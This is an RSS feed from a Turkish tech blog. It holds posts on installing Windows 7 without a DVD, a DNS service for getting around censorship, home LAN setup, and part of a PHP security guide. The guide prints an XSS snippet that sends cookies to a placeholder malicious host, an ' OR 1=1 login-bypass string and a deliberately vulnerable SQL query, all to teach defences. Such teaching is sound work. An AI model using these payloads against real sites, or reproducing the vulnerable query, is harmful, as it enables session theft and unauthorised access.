<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Muzaffer AKYIL (Victorious)</title>
	<atom:link href="http://muzaffer.akyil.net/feed" rel="self" type="application/rss+xml" />
	<link>http://muzaffer.akyil.net</link>
	<description></description>
	<lastBuildDate>Sun, 10 Jan 2010 01:23:12 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>DVD kullanmadan Windows 7 Kurulumu</title>
		<link>http://muzaffer.akyil.net/2010/01/07/makale/os/windows/admin/dvd-kullanmadan-windows-7-kurulumu.aspx</link>
		<comments>http://muzaffer.akyil.net/2010/01/07/makale/os/windows/admin/dvd-kullanmadan-windows-7-kurulumu.aspx#comments</comments>
		<pubDate>Thu, 07 Jan 2010 19:37:23 +0000</pubDate>
		<dc:creator>muzaffer</dc:creator>
				<category><![CDATA[Nasıl Yapılır]]></category>
		<category><![CDATA[Newskolik'ten]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[İşletim Sistemi]]></category>
		<category><![CDATA[windows 7 seven dvd olmadan kurmak setup install image iso cd]]></category>

		<guid isPermaLink="false">http://muzaffer.akyil.net/2010/01/07/makale/admin/dvd-kullanmadan-windows-7-kurulumu.aspx</guid>
		<description><![CDATA[NewsKolik.Net Haber Sunucularından bir arkadaşımın bir sorunu sebebiyle yaptığım araştırmalar sonucunda Windows 7’yi çalışan işletim sisteminin DVD-ROM kullanmadan kurmayı anlatacağım.
Sevgili arkadaşım Selim (Poyraz) evde kullandığı bilgisayarına Windows 7’yi kurmak istemekteydi. Fakat bilgisayarın DVD-ROM’u sorunlu olduğundan Windows 7 kurulum DVD’sini maalesef okuyamıyordu. Bunun üzerine yaptığım araştırma ile Windows 7’yi DVD-ROM gerektirmeden kurma yöntemini buldum ve aşağıda [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.newskolik.net" target="_blank"><strong>NewsKolik.Net Haber Sunucuları</strong></a>ndan bir arkadaşımın bir sorunu sebebiyle yaptığım araştırmalar sonucunda <strong>Windows 7</strong>’yi çalışan işletim sisteminin DVD-ROM kullanmadan kurmayı anlatacağım.</p>
<p>Sevgili arkadaşım <strong>Selim (Poyraz)</strong> evde kullandığı bilgisayarına <strong>Windows 7</strong>’yi kurmak istemekteydi. Fakat bilgisayarın DVD-ROM’u sorunlu olduğundan <strong>Windows 7</strong> kurulum DVD’sini maalesef okuyamıyordu. Bunun üzerine yaptığım araştırma ile <strong>Windows 7</strong>’yi DVD-ROM <strong><u>gerektirmeden</u></strong> kurma yöntemini buldum ve aşağıda sizinle paylaşıyorum.</p>
<p><span id="more-165"></span>
<p><strong>Gereksinimler</strong></p>
<p>Windows 7 DVD Imaj dosyası (iso,nrg,vb.)</p>
<p><a href="http://www.rarlabs.com" target="_blank"><strong>WinRAR</strong></a> yada <a href="http://www.7-zip.org/" target="_blank"><strong>7-Zip</strong></a></p>
<p>Farklı bir disk bölümü (D: vb.)</p>
<p>Biraz zaman… :) </p>
<p><strong>1.Adım :<br /></strong><br />Öncelikle Windows 7 DVD’sinin imajı elimizde olması lazım. Bunu herhangi bir DVD yazma yazılımı ile (<strong>Nero vb.</strong>) orijinal DVD’den bir imaj alarak yapabilirsiniz. Yada bir şekilde bu imaja sahip olmanız gerekmekte.</p>
<p><strong>2.Adım :<br /></strong><br />Sistemin kurulu olduğu sürücüyü <strong>C</strong> olarak varsayarsak <strong>D</strong> yada farklı bir sürücünün kök dizinine <u><strong>Windows7</strong></u> adında bir klasör oluşturun.</p>
<p>Windows 7 İmajını <strong>WinRAR</strong> yada <strong>7-Zip</strong> ile açıp yeni oluşturduğumuz Windows7 klasörüne genişletelim.</p>
<p><strong>3.Adım :</strong></p>
<p><strong><em>Eğer Vista haricinde bir sürüm kullanıyorsanız :</em></strong></p>
<p>Yeni oluşturduğumuz Windows7 klasöründeki <strong>bootmgr</strong> dosyasını ve<strong> boot</strong> klasörünü sistem sürücüsü olan <strong>C</strong> sürücüsünün kök dizinine kopyalayın.</p>
<p><em><strong>Eğer Vista kullanıyorsanız :</strong></em></p>
<p>Yeni oluşturduğumuz Windows7 klasöründeki <br /><strong>bootmgr</strong> dosyasını <strong>C</strong> kök dizinine, <br /><strong>boot</strong> klasöründeki <strong>boot.sdi</strong> dosyasını <strong>C</strong> kök dizindeki <strong>boot</strong> klasörüne,<br /><strong>boot</strong> klasöründeki <strong>bootsect.exe</strong> dosyasını <strong>C</strong> kök dizindeki <strong>boot</strong> klasörüne<br />kopyalayın.</p>
<p><strong>4.Adım :</strong></p>
<p><strong>C</strong> kök dizinine <strong>sources</strong> adında bir klasör oluşturun.<br />Yeni oluşturduğumuz <strong>Windows7</strong> klasöründeki <strong>sources</strong> klasörünün içinden<strong> boot.win</strong> dosyasını yeni oluşturduğumuz <strong>sources</strong> klasörüne kopyalayın.</p>
<p><strong></strong></p>
<p><strong>5.Adım :</strong></p>
<p><strong>Başlat Menüsü-&gt;Programlar-&gt;Donatılar</strong> altında <strong>Komut İstemi</strong>’ne sağ tıklayıp <u><strong>Yönetici olarak çalıştır</strong></u>’a tıklayın.</p>
<p>Sistem sürücüsünün <strong>C</strong> olduğunu varsayarak.</p>
<p><strong><em>Eğer Vista haricinde bir sürüm kullanıyorsanız :</em></strong></p>
<p><font color="#008080"><strong>C:\boot\bootsect.exe /nt60 C:</strong></font></p>
<p><em><strong>Eğer Vista kullanıyorsanız :</strong></em></p>
<p><font color="#008080"><strong>C:\bootsect.exe /nt60 C:</strong></font></p>
<p>komutunu girin.</p>
<p><em>“completes successfully.” </em>mesajını alıyorsak işleme devam edebiliriz.</p>
<p><strong>6.Adım :</p>
<p></strong>C sürücüsüne format atmamız gerektiği için sürücü adını tekrardan belirlememiz gerekmektedir. Bu sebepten aşağıdaki komut ile sürücü adını değiştirin.</p>
<p><em>C sürücüsünde olduğunuza emin olun (C:\)</em><br /><strong>label</strong> komutunu yazıp enter tuşuna basın. <br />Sürücü adını ABC olarak değiştirin.</p>
<p><strong>7.Adım :<br /></strong></p>
<p>Her şey tamamsa hiç bir sorun yoksa ve alacağımız yedeklerimizi aldıysak makineyi yeniden başlatın. <br />Yeniden başlatma sonunda eski Windows’umuz yerine Windows 7 kurulum başlayacaktır. Windows7 kurulumu sizden Dil ve Tarih Saat formatı bilgileri isteyecektir. Bu bilgileri girdikten sonra kur Windows 7’yi ne şekilde kuracağınızı soracaktır. Bu ekranda iken sol alt köşedeki Bilgisayarımı Onar’a tıklayın.<br />Karşınıza Sistem Onarım Seçenekleri gelecektir. Bu seçeneklerden Komut İstemi seçeneğine tıklayın. Bu işlem sonunda karşınıza Komut İstemi (DOS) gelmelidir.</p>
<p><strong>8.Adım :</strong></p>
<blockquote><p><font color="#ff0000" face="Verdana"><strong>Önemli ! Bu işlem C sürücüsündeki tüm verileri yok edecektir.</strong></font></p>
</blockquote>
<p>Komut İstemi ekranında C sürücüsünü formatlamak için aşağıdaki komutu girin.</p>
<p><font color="#008080"><strong>format c: /q</strong></font></p>
<p>Eğer C sürücüsünün dosya sistemi <strong>NTFS</strong> değil ise,</p>
<p><font color="#008080"><strong>format c: /q /fs:ntfs</strong></font> </p>
<p>komutunu kullanın.</p>
<p>Formatlama işlemine başlamadan önce size ilgili sürücünün adını soracaktır. Daha önceden label komutu ile değiştirdiğimiz ad olan <strong>ABC</strong>’yi girin.</p>
<p>Böylece formatlama işlemi başlayıp sistem C sürücüsünü <strong><font color="#ff0000">formatlayacaktır.</font></strong></p>
<p><strong>9.Adım :</strong></p>
<p>Ve geldik sona…</p>
<p>Şimdi Windows 7 kurulumunu elle başlatmamız gerekiyor. Bunun için aşağıdaki komutu girin. </p>
<p><font color="#008080"><strong>D:\Windows7\sources\setup.exe</strong></font></p>
<p>Ve karşınızda Windows 7 kurulumu. Bundan sonraki adımlar standart Windows 7 kurulumu ile aynıdır. Sadece dikkat etmeniz gereken tek nokta kurulumun size <strong>hangi sürücüye kurmak</strong> istediğinizi sorduğu ekranda yeni formatladığımız sürücüyü seçmek.</p>
<p>Kolay Gelsin.</p>
<img src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=165&type=feed" alt="" /><h3>Benzer yazı bulunamadı.</h3><ul class="related_post"><li>17 Temmuz 2006 -- <a href="http://muzaffer.akyil.net/2006/07/17/makale/admin/resmi-php-ile-goruntuleme.aspx" title="resmi php ile görüntüleme">resmi php ile görüntüleme (0)</a></li><li>25 Ocak 2008 -- <a href="http://muzaffer.akyil.net/2008/01/25/makale/network/internet/admin/youtube-videolarini-indirin.aspx" title="Youtube Videolarını İndirin&#8230;">Youtube Videolarını İndirin&#8230; (0)</a></li><li>4 Haziran 2007 -- <a href="http://muzaffer.akyil.net/2007/06/04/makale/network/internet/admin/tam-ekran-cssdhtml-preloader.aspx" title="Tam Ekran CSS/DHTML Preloader">Tam Ekran CSS/DHTML Preloader (2)</a></li><li>30 Ocak 2008 -- <a href="http://muzaffer.akyil.net/2008/01/30/makale/os/linux/admin/linux-terminal-komutlari.aspx" title="Linux Terminal Komutları">Linux Terminal Komutları (1)</a></li><li>31 Ekim 2006 -- <a href="http://muzaffer.akyil.net/2006/10/31/blog/fotograf/admin/pretty-girl.aspx" title="Pretty Girl :)">Pretty Girl :) (0)</a></li><li>28 Mart 2007 -- <a href="http://muzaffer.akyil.net/2007/03/28/makale/yazilim/visual-basic/function/admin/string-ten-tr-karakterleri-temizleme.aspx" title="String ten TR karakterleri temizleme">String ten TR karakterleri temizleme (0)</a></li><li>13 Aralık 2006 -- <a href="http://muzaffer.akyil.net/2006/12/13/makale/network/admin/adsl-nasil-calisir.aspx" title="ADSL Nasıl Çalışır ?">ADSL Nasıl Çalışır ? (0)</a></li><li>20 Şubat 2009 -- <a href="http://muzaffer.akyil.net/2009/02/20/makale/yazilim/php/admin/php-guvenlik-kilavuzu.aspx" title="PHP Güvenlik Kılavuzu">PHP Güvenlik Kılavuzu (4)</a></li><li>28 Mart 2007 -- <a href="http://muzaffer.akyil.net/2007/03/28/makale/yazilim/visual-basic/function/admin/buyukharfyap-fonksiyonu.aspx" title="BuyukHarfYap Fonksiyonu">BuyukHarfYap Fonksiyonu (0)</a></li><li>28 Mart 2007 -- <a href="http://muzaffer.akyil.net/2007/03/28/makale/os/linux/admin/dokunmatik-ekran-ve-linux-xgl-cilginligi.aspx" title="Dokunmatik Ekran ve Linux XGL Çılgınlığı">Dokunmatik Ekran ve Linux XGL Çılgınlığı (1)</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://muzaffer.akyil.net/2010/01/07/makale/os/windows/admin/dvd-kullanmadan-windows-7-kurulumu.aspx/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Artık &#214;zg&#252;rs&#252;n&#252;z &#8211; A&#231;ıkDNS.com</title>
		<link>http://muzaffer.akyil.net/2010/01/02/makale/guvenlik/admin/artik-zgrsnz-aikdns-com.aspx</link>
		<comments>http://muzaffer.akyil.net/2010/01/02/makale/guvenlik/admin/artik-zgrsnz-aikdns-com.aspx#comments</comments>
		<pubDate>Sat, 02 Jan 2010 17:19:26 +0000</pubDate>
		<dc:creator>muzaffer</dc:creator>
				<category><![CDATA[Güvenlik]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[açıkdns]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[opendns]]></category>
		<category><![CDATA[sansür]]></category>
		<category><![CDATA[yasak]]></category>
		<category><![CDATA[youtube]]></category>

		<guid isPermaLink="false">http://muzaffer.akyil.net/2010/01/02/makale/guvenlik/admin/artik-zgrsnz-aikdns-com.aspx</guid>
		<description><![CDATA[Bildiğiniz üzere Türkiye genelinde belirli bir süredir internet üzerinde sansür uygulamaları mevcut. 
Mahkeme kararı olmaksızın Telekomünikasyon İletişim Başkanlığı’nın kendi keyfi kararları ile engellediği pek çok siteye ulaşabilmek için artık dört takla atmanıza gerek yok. Yabancı bir hizmet olan OpenDNS’in Türkiye merkezli hali yeni yılın ilk günlerinde hizmete başladı. OpenDNS ile yaklaşık olarak aynı işi yapan [...]]]></description>
			<content:encoded><![CDATA[<p>Bildiğiniz üzere Türkiye genelinde belirli bir süredir internet üzerinde sansür uygulamaları mevcut. </p>
<p>Mahkeme kararı olmaksızın Telekomünikasyon İletişim Başkanlığı’nın kendi keyfi kararları ile engellediği pek çok siteye ulaşabilmek için artık dört takla atmanıza gerek yok. Yabancı bir hizmet olan <a href="http://www.opendns.com" target="_blank">OpenDNS</a>’in Türkiye merkezli hali yeni yılın ilk günlerinde hizmete başladı. <a href="http://www.opendns.com" target="_blank">OpenDNS</a> ile yaklaşık olarak aynı işi yapan fakat merkezi Türkiye olduğundan daha hızlı çalışan bu hizmet ile internet sansürlerinden kurtulabileceksiniz. </p>
<p><span id="more-163"></span>
<p><strong>Nasıl sansürleniyoruz ?</strong></p>
<p>T.İ.B. servis sağlayıcı üzerinde bulunan DNS sunucusunda yasaklanması istenen alan adlarını daha önceden hazırlanmış yasak bilgisi bulunan bir ip adresine yönlendirerek sizin o siteye ulaşmanızı engellemektedir. DNS konusunu burada uzunca anlatmak isterdim ama konumuz şu anda DNS değil. DNS kısaca internet üzerinde bize kolaylık sağlayan bir fihristtir. DNS icat edilmeden önce bir web sitesine girmek için onun kimlik numarası olan IP adresini girmemiz gerekiyordu. DNS, alan adlarının hangi ip adreslerine ait olduğunu indexleyen, biz sorduğumuzda bize şu IP adresi diyen bir sistemdir. T.İ.B. bize gerçek ip adresi yerine sahte IP adresi bilgisi vererek o siteye ulaşmamızı engeller. </p>
<p><strong>AçıkDNS nasıl çalışır ?</strong></p>
<p><a href="http://www.acikdns.com" target="_blank">AçıkDNS</a> kendi sunucularında kurulu olan DNS sunucusu ile dünyanın çeşitli bölgelerinde bulunan Ana DNS Sunucularından (Root DNS) sorgulayarak bize gerçek IP adresleri temin eder. Böylece hiç bir yasağa takılmadan istediğimiz siteye erişebiliriz.</p>
<p><strong>AçıkDNS Güvenli midir ?</strong></p>
<p><a href="http://www.acikdns.com" target="_blank">AçıkDNS</a>’in sahibi yakın bir arkadaşım. Sitenin ve sistemin yapımında birlikte ter döktük diyebilirim. <a href="http://www.acikdns.com" target="_blank">AçıkDNS</a> hiç bir şekilde kayıt tutmamaktadır. Aynı şekilde hiç bir şekilde HiJack diye tabir edilen sahte bilgi gönderimi yapmamaktadır. Yaptığı şey Root DNS’lerde sizin istediğiniz bilgiyi çekip size göndermektir. </p>
<p><strong>Nasıl Kullanılır ?</strong></p>
<p>AçıkDNS’e <a href="http://www.acikdns.com" target="_blank">http://www.acikdns.com</a> adresinden ulaşabilirsiniz. Sol tarafta göreceğiniz menüden işletim sisteminize uygun olan videoyu izleyerek <a href="http://www.acikdns.com" target="_blank">AçıkDNS</a>’i kullanmaya başlayabilirsiniz.&nbsp; </p>
<img src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=163&type=feed" alt="" /><h3>Benzer Yazılar</h3><ul class="related_post"><li>25 Ocak 2008 -- <a href="http://muzaffer.akyil.net/2008/01/25/makale/network/internet/admin/youtube-videolarini-indirin.aspx" title="Youtube Videolarını İndirin&#8230;">Youtube Videolarını İndirin&#8230; (0)</a></li><li>28 Mart 2007 -- <a href="http://muzaffer.akyil.net/2007/03/28/makale/os/linux/admin/dokunmatik-ekran-ve-linux-xgl-cilginligi.aspx" title="Dokunmatik Ekran ve Linux XGL Çılgınlığı">Dokunmatik Ekran ve Linux XGL Çılgınlığı (1)</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://muzaffer.akyil.net/2010/01/02/makale/guvenlik/admin/artik-zgrsnz-aikdns-com.aspx/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ağ &#252;zerinde birbirini g&#246;rme</title>
		<link>http://muzaffer.akyil.net/2009/12/31/makale/newskolikten/admin/ag-zerinde-birbirini-grme.aspx</link>
		<comments>http://muzaffer.akyil.net/2009/12/31/makale/newskolikten/admin/ag-zerinde-birbirini-grme.aspx#comments</comments>
		<pubDate>Thu, 31 Dec 2009 12:52:43 +0000</pubDate>
		<dc:creator>muzaffer</dc:creator>
				<category><![CDATA[Newskolik'ten]]></category>
		<category><![CDATA[ağ]]></category>
		<category><![CDATA[birbirini görme]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[newskolik]]></category>
		<category><![CDATA[tanıtma]]></category>
		<category><![CDATA[tcp]]></category>

		<guid isPermaLink="false">http://muzaffer.akyil.net/2009/12/31/makale/newskolikten/admin/ag-zerinde-birbirini-grme.aspx</guid>
		<description><![CDATA[Merhabalar,
Firmamızın bir hizmeti olan Newskolik.Net Haber Sunucularıdan göze çarpan ve insanlara faydalı olacak bilgileri bu kategori altında elimden geldiğince sizlerle paylaşmaya çalışacağım. 
İlk mesaj olarakta bir arkadaşımızın sorununu ve cevabımı yayınlamayı uygun gördüm.
Mesaj ID : news:4b3c61d9$1@news.newskolik.net
Habergrubu : sohbet
Tarih :&#160; 31.12.2009
Konu : Bir Soru
Mesaj : 
Arkadaşlar,toplam bir sabit ikide laptop bilgisayar var internet sabit bilgisayarda bunlar [...]]]></description>
			<content:encoded><![CDATA[<p>Merhabalar,</p>
<p>Firmamızın bir hizmeti olan <strong><a href="http://www.newskolik.net" target="_blank">Newskolik.Net Haber Sunucuları</a></strong>dan göze çarpan ve insanlara faydalı olacak bilgileri bu kategori altında elimden geldiğince sizlerle paylaşmaya çalışacağım. </p>
<p>İlk mesaj olarakta bir arkadaşımızın sorununu ve cevabımı yayınlamayı uygun gördüm.</p>
<p><strong>Mesaj ID :</strong> <a href="news:4b3c61d9$1@news.newskolik.net">news:4b3c61d9$1@news.newskolik.net</a></p>
<p><strong>Habergrubu : </strong>sohbet</p>
<p><strong>Tarih :&nbsp; </strong>31.12.2009</p>
<p><strong>Konu :</strong> Bir Soru</p>
<p><strong>Mesaj :</strong> </p>
<p>Arkadaşlar,<br />toplam bir sabit ikide laptop bilgisayar var internet sabit bilgisayarda bunlar arasında nasıl ağ bağlantısı kurarım birlikte oyun oynarız bunları bir karacahil&#8217;e anlatacak kadar sabırlı önerilerinizi bekliyorum.</p>
<p><span id="more-159"></span>
<p><strong>Cevap :</strong>
<p><strong>Adım 1<br /></strong><br /><strong>Tüm makinelerin IP sınıfının aynı hale getirlimesi ;<br /></strong><em>Eğer makinelere ip adresi bir DHCP sunucusu üzerinden otomatik verilmiyor ise :<br /></em>Ağ bağlantılarından o anda aktif olan bağlantının (yerel ağ bağlantısı yada kablosuz ağ bağlantısı) üstüne sağ tıklanır. Özelliklere girilir.<br />Listeden <strong>Internet Protokolü sürüm 4 TCP/IP</strong> seçilir. Özellikler denir.<br />Ip adresi alanına modemin ip adresi ne ise son grubu farklı olacak sekilde ip atanır.</p>
<p><em><strong>Örnek;</strong><br />Modem IP : 192.168.1.1<br />1. Bilgisayar : 192.168.1.2<br />2. Bilgisayar : 192.168.1.3</p>
<p></em>Ağ alt maskesi otomatik gelir zaten.<br />Ağ geçidi alanına ise Modemin ipsi ne ise o yazılır.</p>
<p>DNS sunucu kısmına Yakonun <a href="http://www.acikdns.com">www.acikdns.com</a> ip leri girilebilir.</p>
<p>Böylece tüm bilgisayar aynı IP classında olurlar.<br />Eğer DHCP tarafından otomatik ip veriliyorsa, zaten aynı classtadırlar.</p>
<p><strong>Adım 2</p>
<p>Tüm makinelerin aynı çalışma gurubunda / etki alanında olması ;</strong><br />Evden bahsettiğin için etki alanını es geçiyorum.<br />Tüm bilgisayarlarda Bilgisayarım sağ tıklanır. Özellikler denir.</p>
<p><em><strong>XP için ;<br /></strong>Bilgisayar adı sekmesi<br /><strong>Vista / 7 için;</strong><br />sağ taraftan Gelişmiş sistem ayarları -&gt; Bilgisayar Adı sekmesi.</p>
<p></em>Burada Bilgisayar adı ve Çalışma grubu ibareleri bizim için önem taşımaktadır.<br />Tüm bilgisayarların adı birbirinden mutlaka farklı olmalıdır.<br />ve<br />Tüm bilgisayarların çalışma grubu birbiri ile aynı olmalıdır. (WORKGROUP)<br />Onaylanır yeniden başlatılır.</p>
<p><strong>Adım 3</p>
<p>IPX/SPX Kurulumu;<br /></strong>Bir çok oyun IPX/SPX protokolü ile LAN üzerinden oyun oynamanızı sağlar.<br />Bu sebepten Ağ bağlantısı yaptıgınız aygıtta IPX/SPX yuklu olmalıdır.</p>
<p>Adım 1 deki Ağ bağdaştırıcı özellikler listesine gelip. (Internet Protokolu TCP/IP nin oldugu ekran) o listede IPX/SPX varmı kontrol etmelisin. Yok ise Ekle butonuna basıp Protokol -&gt; IPX/SPX i seçip kurman gerekir.</p>
<p><strong>Sonuç<br /></strong><br />Tüm bu ayarlardan sonra ağ üzerinde yada bilgisayarlarda herhangi bir firewall yok ise engelleme söz konusu değil ise sorunsuz bir şekilde LAN da oyun oynayabilir, paylaşım ayarlarını yaparsan Ağ komşularından diğer pclerin dosyalarına ulasabilirsin.</p>
<p><em>Dip : IPX/SPX Vista ve 7 de yok sanırsam (gerek duymuyor)</em></p>
<img src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=159&type=feed" alt="" /><h3>Benzer Yazılar</h3><ul class="related_post"><li>13 Aralık 2006 -- <a href="http://muzaffer.akyil.net/2006/12/13/makale/network/admin/ipadreslemealtaglarabolme.aspx" title="IP Adresleme / Alt Ağlara Bölme">IP Adresleme / Alt Ağlara Bölme (0)</a></li><li>28 Mart 2007 -- <a href="http://muzaffer.akyil.net/2007/03/28/makale/yazilim/visual-basic/module/admin/mac-adresi-bulma.aspx" title="Mac Adresi Bulma">Mac Adresi Bulma (0)</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://muzaffer.akyil.net/2009/12/31/makale/newskolikten/admin/ag-zerinde-birbirini-grme.aspx/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Güvenlik Kılavuzu</title>
		<link>http://muzaffer.akyil.net/2009/02/20/makale/yazilim/php/admin/php-guvenlik-kilavuzu.aspx</link>
		<comments>http://muzaffer.akyil.net/2009/02/20/makale/yazilim/php/admin/php-guvenlik-kilavuzu.aspx#comments</comments>
		<pubDate>Fri, 20 Feb 2009 11:47:27 +0000</pubDate>
		<dc:creator>muzaffer</dc:creator>
				<category><![CDATA[Güvenlik]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[arı]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[okan]]></category>
		<category><![CDATA[SQL]]></category>

		<guid isPermaLink="false">http://muzaffer.akyil.net/?p=145</guid>
		<description><![CDATA[Çok değerli arkadaşım Okan Arı&#8216;nın PHP ve Güvenlik üzerinde derlediği Türkçeye çevirdiği bir metni sizinle paylaşmak istedim.

Buyrun bakalım ;
Giriş
PHP, bir çok yazılım dilinden farklı olarak, buffer-overflows gibi hafıza problemleri olan, bundan dolayı güvenlik problemine neden olabilecek bir dil değildir. Aynı zamanda PHP öğrenilmesi kolay ve hızlı bir dildir. Bu kolay ve hızlı öğrenilebilirlik, bu dili [...]]]></description>
			<content:encoded><![CDATA[<p>Çok değerli arkadaşım <a href="http://www.okanari.com">Okan Arı</a>&#8216;nın PHP ve Güvenlik üzerinde derlediği Türkçeye çevirdiği bir metni sizinle paylaşmak istedim.<br />
<span id="more-145"></span><br />
Buyrun bakalım ;</p>
<p><strong>Giriş</strong></p>
<p>PHP, bir çok yazılım dilinden farklı olarak, buffer-overflows gibi hafıza problemleri olan, bundan dolayı güvenlik problemine neden olabilecek bir dil değildir. Aynı zamanda PHP öğrenilmesi kolay ve hızlı bir dildir. Bu kolay ve hızlı öğrenilebilirlik, bu dili bir çok kişinin öğrenmesine, aynı hızda üretim yaparak uygulama geliştirmesine de olanak sağlamaktadır. Ancak bu durum, bilinsizce yapılan kodlama teknikleri nedeniyle kendi içerisince ciddi bir güvenlik problemini yanında getirmektedir.<br />
Bu klavuz size, online güvenlik, web tabanlı yazılım geliştirirken PHP’de temel güvenliği nasıl sağlayacağınız konusunda fikir vermek için hazırlanmıştır. Klavuz içerisinde başlangıç seviyesi kullanıcılar için önemli bilgiler, uzmanlar için belki de gözden kaçan ufak ipuçları bulunabilir.<br />
<strong><br />
Atak Tipleri:</p>
<p>XSS Atağı:</strong><br />
XSS &#8220;Cross Site Scriptting&#8221; anlamında kullanılmaktadır ve bir sayfaya içerik girmek -JavaScript gibi- gibi düşünebiliriz. XSS atakları genelde kullanıcının Cookie (çerez) lerini çalmak amacıyla kullanılır. Bu cookie’ler kullanıcı login bilgileri, sişreleri ya da benzeri önemli bilgileri içeriyor olabilir.</p>
<p>Basit anlamda bir örnek verelim.</p>
<pre class="brush: php; ">

$id=$_GET[&#039;id&#039;];
echo &quot;Gelen ID degeri:&quot;.$id;
</pre>
<p>Yukarıdaki kodda, $_GET[’id’] degiskeni bir sayı ise problem yok. Ancak ya aşağıdaki gibi bir kodsa?</p>
<pre class="brush: js; ">

&lt;script&gt;
window.location.href = &quot;http://kotuamaclisite.com/cookie-calanscript.php?c=&#039; + document.cookie;
&lt;/script&gt;
</pre>
<p>Kullanıcı bir sekilde, bu kotu amaçlı kodu çalıştırırsa, tüm cookie bilgilerini kotü amaçlı siteye devredebilir.</p>
<p><strong>XSS Ataklarından Nasıl Korunurum?</strong></p>
<p>İlk olarak, asla kullanıcı girişi bilgilerine güvenmeyiniz. Kullanıcılardan girilen her bilgiyi mutlaka kontrol edip filtrelememiz gerekiyor. Yani gelen kullanıcı bilgilerini HTML tag’lerinden arındırırsak bir JavaScript kodu çalıştırılamak hale getirebiliriz. Bunu yapmanın en kolay yolu PHP’nin strip_tags() fonksiyonunu kullanmaktır. Bu fonksiyon tüm HTML tag’lerini temizleyecektir. HTML tag’lerini silmemek ama onları zararsız hale getirmk için htmlentities() fonksiyonunu da kullananilirsiniz. Bu fonksiyon, < ve > karakterlerini < ve >karakterlerine dönüştürecektir.</p>
<p><strong>SQL Injection Yönetemi:</strong></p>
<p>Günümüzde bir çok web sitesi verileri barındırmak için veritabanı kullanmaktadır. Bu bağlamda veritabanına girmek için bir çok INSERT, UPDATE ve SELECT işlemleri yapılmaktadır. Buna rağmen bir çok site, form verileri açısında SQL Injection yöntemi ile atağa uğramak konusunda yeterli güvenliğe sahip değildir.</p>
<p>SQL Injection, değiştirilmiş, atak için düzenlenmiş form içerikleri ile yapılan veritabanı sorgularıdır. Bu ataklar veritabanınızdan bir kaç veriyi çalmak, izinsiz login olmak, ya da tüm veritabanını silmek gibi sonuçları doğurabilir.</p>
<p>En genel kullanımı anlatmak için aşağıdaki kod örneğine bakalım:</p>
<pre class="brush: php; ">

site_users
WHERE
username = &#039;$username&#039;
AND
password = &#039;$password&#039;
&quot;);

if ( mysql_num_rows($result) &gt; 0 )
// login oldu
</pre>
<p>Yukarıdaki kod örneği, SQL Injection için gerekli ortamı hazırlamaktadır, bu konuda zaafiyet oluştrabilecek bir kod örneğidir. Kötü amaçlı bir kişi yukarıdaki SQL&#8217;i değiştirerek sisteme izinsiz giriş yapabilir. (Kullanıcı şifresini girmeden login olabilir)</p>
<p>Örneğin kötü kullanıcı (saldırgan) kullanıcı adı alanına &#8220;rob&#8221; şifre (password) alanına aşağıdaki gibi bir giriş yaparsa:</p>
<p>&#8216; OR 1=1 &#8216;</p>
<p>Yukarıdaki kod şu şekli alır:</p>
<pre class="brush: sql; ">

SELECT *
FROM
site_users
WHERE
username = &#039;rob&#039;
AND
password = &quot; OR 1=1
</pre>
<p>Bu SQL sorgusu ise, kullanıcı adı &#8220;rob&#8221; olan kaydın şifresi ne olursa olsun getirmektedir. Yani şifre kontrolu gerçekleşememiştir.</p>
<p><strong>SQL Injection Atağından Nasıl Korunurum?</strong></p>
<p>XSS Atağında olduğu gibi, en büyük sorun kullanıcının gönderdiği veriyi olduğu gibi kullanmaktır. Korunmanın en iyi yöntemi ise, kullancıı verisini riskli karakterlerden arındırmaktır. mysql_real_escape_string() fonksiyonu bu amaçla PHP içerisinde yer alıyor. Bu fonksiyon riskli olan &#8216; ve &#8221; gibi karakterleri temizlemektedir. Ayrıca, SQL sorgularınızda kullandığınız kullancıı verileri, eğer, sayı olmanı bekleniyorsa intval() fonksiyonu ile gelen verinin sadece sayı bilgisi olan kısmı alınmalıdır.</p>
<p><strong>Dosya Yüklemesi Atağı (File Upload)</strong></p>
<p>Kullancıların yükledikleri dosyalar en büyük güvenlik risk unsurlarının başında gelmektedir. Bu, tanımadığınzı bilmediğiniz dosyaları sunucunuzda barındırmak anlamındadır. Bu dosyalar, dosyalarınız silmek için, veri tabanınızı boşaltmak için olabilir. Ya da daha başka bir çok güvenlik problemine neden açabilecek dosyalar olabilir.</p>
<p>Buna rağmen, güvenli şekilde dosya almak kontrol içerisinde alındığında mümkündür.</p>
<p>Kullanıcıların sisteminize dosya yüklemesine izin verdiğiniz durumlarda, kontrol etmeniz gereken 2 önemli bilgi mevcuttur.</p>
